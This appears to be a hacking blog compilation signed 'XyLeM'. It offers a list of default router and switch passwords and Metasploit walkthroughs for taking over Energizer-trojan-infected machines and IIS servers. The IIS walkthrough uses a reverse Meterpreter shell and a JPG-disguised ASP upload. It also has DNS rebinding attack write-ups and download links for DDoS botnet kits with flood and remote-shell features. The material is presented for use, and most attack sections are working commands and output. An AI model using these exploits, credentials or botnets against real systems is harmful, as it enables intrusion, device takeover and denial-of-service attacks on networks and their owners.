Routers Passwords DEfault

Default usernames and passwords for Routers/Switches/Hubs and others thingies

Type/vendor/notes/etc Username Password

3Com admin synnet
3Com read synnet
3Com write synnet
3Com monitor monitor
3Com manager manager
3Com security security
3Com_Office_Connect_5x0_ISDN_Routers n/a PASSWORD
3comCellPlex7000 tech tech
3comCoreBuilder7000/6000/3500/2500 debug synnet
3comCoreBuilder7000/6000/3500/2500 tech tech
3comHiPerARCv4.1.x adm
3ComLANplex2500 debug synnet
3ComLANplex2500 tech tech
3comLinkSwitch2000/2700 tech tech
3comSuperStackIISwitch 2200 debug
3comSuperStackIISwitch 2700 tech
ACC(Ericsson) netman netman
ADC_Kentrox_Pacesetter_Router n/a secret
All_Zyxel_equipment n/a 1234
AT&T_3B2_firmware n/a mcp
AXIS200/240[netcam] root pass
Bay_routers Manager
Bay_routers User
Bay350T_Switch n/a NetICs
BaySuperstackII security security
BRASX/I01_(DataCom) n/a letmein
BreezeCOM_adapters2.x(console_only) n/a laflaf
BreezeCOM_adapters3.x(console_only) n/a Master
BreezeCOM_adapters4.x(console_only) n/a Super
Cayman_DSL n/a
Crystalview_outsideview32 n/a crystal
digiCorp_(viper?) n/a BRIDGE
digiCorp_(viper?) n/a password
DLink_hub/switches D-Link D-Link
Flowpoint_DSL_installed_by_Covad n/a password
Flowpoint_DSL2000 admin admin
Jetform_design Jetform n/a
Lantronics_Terminal_server_port 7000 n/a
Lantronics_Terminal_server_port 7000 n/a
Linksys_DSL n/a admin
Livingston_IRX_router !root
Livingston_officerouter !root
Livingston_portmaster2/3 !root
Microplex_print_server root root
Motorola-Cablerouter cablecom router
Netopia_7100
Netopia_9500 netopia netopia
Orbitor_console n/a password
Orbitor_console n/a BRIDGE
Osicom(Datacom) sysadm sysadm
Shiva root
Shiva Guest
SpeedstreamDSL(Efficient) n/a admin
UClinux_for_UCsimm root uClinux
Webramp wradmin trancell
Alteon ACEswitch 180e (web) admin admin
Alteon ACEswitch 180e (telnet) admin
NETPrint (all) n/a sysadm
Xylan Omniswitch admin switch
Xylan Omniswitch diag switch
AcceleratedDSL CPE and DSLAM sysadm anicust
Arrowpoint admin system
Cabletron (routers & switches)


Enjoy, XyLeM

Locate and Exploit the Energizer Trojan

As of this afternoon, you can now use Metasploit to locate infected systems on the local network. After downloading a copy of Metasploit and updating it to revision 8749 or newer, the following commands can be used to scan the local network:

$ msfconsole
msf > use auxiliary/scanner/backdoor/energizer_duo_detect
msf auxiliary(energizer_duo_detect) > set RHOSTS 192.168.0.0/24
msf auxiliary(energizer_duo_detect) > set THREADS 256
msf auxiliary(energizer_duo_detect) > run

[*] 192.168.0.132:7777 FOUND: [["F", "AUTOEXEC.BAT"]...

To take things a step further and gain access to a system running this backdoor, use the energizer_duo_payload module:

msf > use exploit/windows/backdoor/energizer_duo_payload
msf exploit(energizer_duo_payload) > set RHOST 192.168.0.132
msf exploit(energizer_duo_payload) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(energizer_duo_payload) > set LHOST 192.168.0.228
msf exploit(energizer_duo_payload) > exploit

[*] Started reverse handler on 192.168.0.228:4444
[*] Trying to upload C:\NTL0ZTL4DhVL.exe...
[*] Trying to execute C:\NTL0ZTL4DhVL.exe...
[*] Sending stage (747008 bytes)
[*] Meterpreter session 1 opened (192.168.0.228:4444 -> 192.168.0.132:1200)

meterpreter > getuid
Server username: XPDEV\Developer

A copy of the malware can be obtained from the Wayback Machine

Enjoy, XyLeM

Exploiting Microsoft IIS with Metasploit

First we generate an ASP script that does a Meterpreter connect-back to the system running Metasploit:

$ msfpayload windows/meterpreter/reverse_tcp \
LHOST=1.2.3.4 LPORT=8443 R | \
msfencode -o evil.asp

Now we need to configure msfconsole to accept the incoming connection:

$ msfconsole
msf> use exploit/multi/handler
msf (handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf (handler) > set LHOST 1.2.3.4
msf (handler) > set LPORT 8443
msf (handler) > set ExitOnSession false
msf (handler) > exploit -j

To avoid the image content validator, we will prepend a valid JPG image to our ASP script:

$ cat happy.jpg evil.asp > "evil.asp;.jpg"

$ file "evil.asp;.jpg"
JPEG image data, JFIF standard 1.02

Now we upload our "evil.asp;.jpg" image to the web application. Since the extension ends in "jpg" and the contents of the file appear to be a valid JPEG, the web application accepts the file and renames it to "/images/evil.asp;.jpg"

Finally, we browse to the URL of the uploaded ASP/JPG, which will execute our payload and create a new session with the msfconsole:

[*] Starting the payload handler...
[*] Started reverse handler on port 8443
[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.0.xxx:8443 -> 66.234.xx.xx:1186)

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 2668 created.
Channel 1 created.
wMicrosoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

c:\windows\system32\inetsrv>whoami

nt authority\network service

Enjoy, XyLeM

DNS Rebinding for Credential Brute Force

By ha.ckers.org

In part two of my DNS rebinding diatribe I wanted to talk a little more about the previous problem of session fixation. Session fixation is great but it’s only great if by getting them into your account that provides you some value as an attacker. Sometimes that’s useful, sometimes it’s not. But what about a different scenario where the attacker has no access to the page in question so they can’t get access to an account ahead of time - but rather what if the web server is back behind the firewall again? What if it’s a webserver that he wants to compromise but happens to use some cookie as an authentication token? Ahhh… here’s where we might be able to attack it.

A lot of people still don’t get that you don’t need to know people’s usernames and/or passwords to get into their accounts. If you can get (or guess) the credential, that’s good enough. What if the credential were a weak cookie like username=bob or id=1234567? It might be extremely trivial to use DNS rebinding to not only get access to read the login page and perform a traditional brute force attack, but if the format of the credential is known (like in a lot of open source projects) it may be easy to brute force that token. So yes, by getting DNS rebinding and by utilizing brute force you can then fix their session to whatever account you just broke into. And it just keeps getting worse…


Enjoy, XyLeM

TRiAD v0.3

Linux Bot: 1. Syn Flood with source IP spoofing. 2. Small HTTP Server. 3. Bind Shell.
Windows Bot: 1. UDP Flood. 2. Small Proxy Server. 3. Reverse Shell.
Version independend functions: 1. Sleep. 2. Reboot remote machine. 3. Shutdown remote machine.
4. Delete bot from remote machine. Source code included. Read README.txt file for configuration instructions. Have fun.

File Type: tar
File Size: 570 KB
MD5 Sum: dadb1c13aa533a60886c217ac22d6a51
SHA1 Hash: 646b5bd8e0514f3c47870a14191d2780225dc53c
Download:
http://x1machine.com/botnets/TRiAD_v03.tar

Enjoy, XyLeM

QuadNX v.Qx2

QuadNX Version Qx2 Kernel-Mode Denial of Service Bot(net) system with GUI user-side Control.

File Type: tar
File Size: 1.7 MB
MD5 Sum: 1e3baeaaa914a2f166d9d345dc212f49
SHA1 Hash: 07e77c94527757b93e82bbca78db8c7c83bc75c1
Download:
http://x1machine.com/botnets/QuadNX_vQx2.tar

Enjoy, XyLeM

Session Fixation Via DNS Rebinding

By ha.ckers.org

While I was out at OWASP, I ran into Dan Kaminsky and we started chatting about DNS rebinding - as we are known to do. Almost immediately he surprised me by saying that DNS pinning is a bad idea. After much explaining, I get why he thinks so, and I found myself nodding. It’s not because it’s not a good idea, it’s because it doesn’t work, and all the crazy ideas we’ve both collectively heard are either hugely cumbersome or are easy to break. Either way, they aren’t good solutions. So the only valid solution that has any real hope of working is respecting the host header. This means that every web enabled firewall, print server, router, switch, and internal Wiki is in danger until they too learn how to respect the host header. So yes, DNS rebinding is probably here to stay.

Now, I’ve had a thought for a while about another attack that can be leveraged because of DNS rebinding - and that is session fixation. So here’s the scenario. Attacker goes to goodguy.com and logs into his account there. Then he takes the cookies that goodguy.com set in the attacker’s browser and he writes up a little script on badguy.com to set the same cookies. The attacker also has a DNS server that sends a DNS response with a time to live of only 1 second. Then the user comes to badguy.com and gets the cookies meant for goodguy.com but which are only visible on badguy.com. Then a piece of JavaScript redirects the user back to badguy.com in 2 seconds, (one second longer than the TTL on the badguy.com DNS response) and the attacker shuts down the firewall on badguy.com so the user cannot reconnect. The browser rebinds DNS, making a second DNS request in the process. This time the attacker responds to the user’s badguy.com DNS request with goodguy.com’s IP address. Since goodguy.com doesn’t respect the host header, the cookies that the attacker set now work flawlessly even though the user is sending the host header of badguy.com in each request. The attacker can’t control cookies on goodguy.com but they can on badguy.com, which is where the browser still thinks it is. The important part here is that the user is now not only on goodguy.com but actually inside the attacker’s account for which the attacker had the cookies (assuming the cookies haven’t timed out or became invalid - and assuming they weren’t in some other way tied to the attacker’s browser/IP, etc…). How this is useful? Well that’s for perhaps another post, but think of this as a great way to perform a certain sub-class of session fixation. The moral of the story - respect the host header, especially if your site has client-based authentication credentials! More about this to come…

Enjoy, XyLeM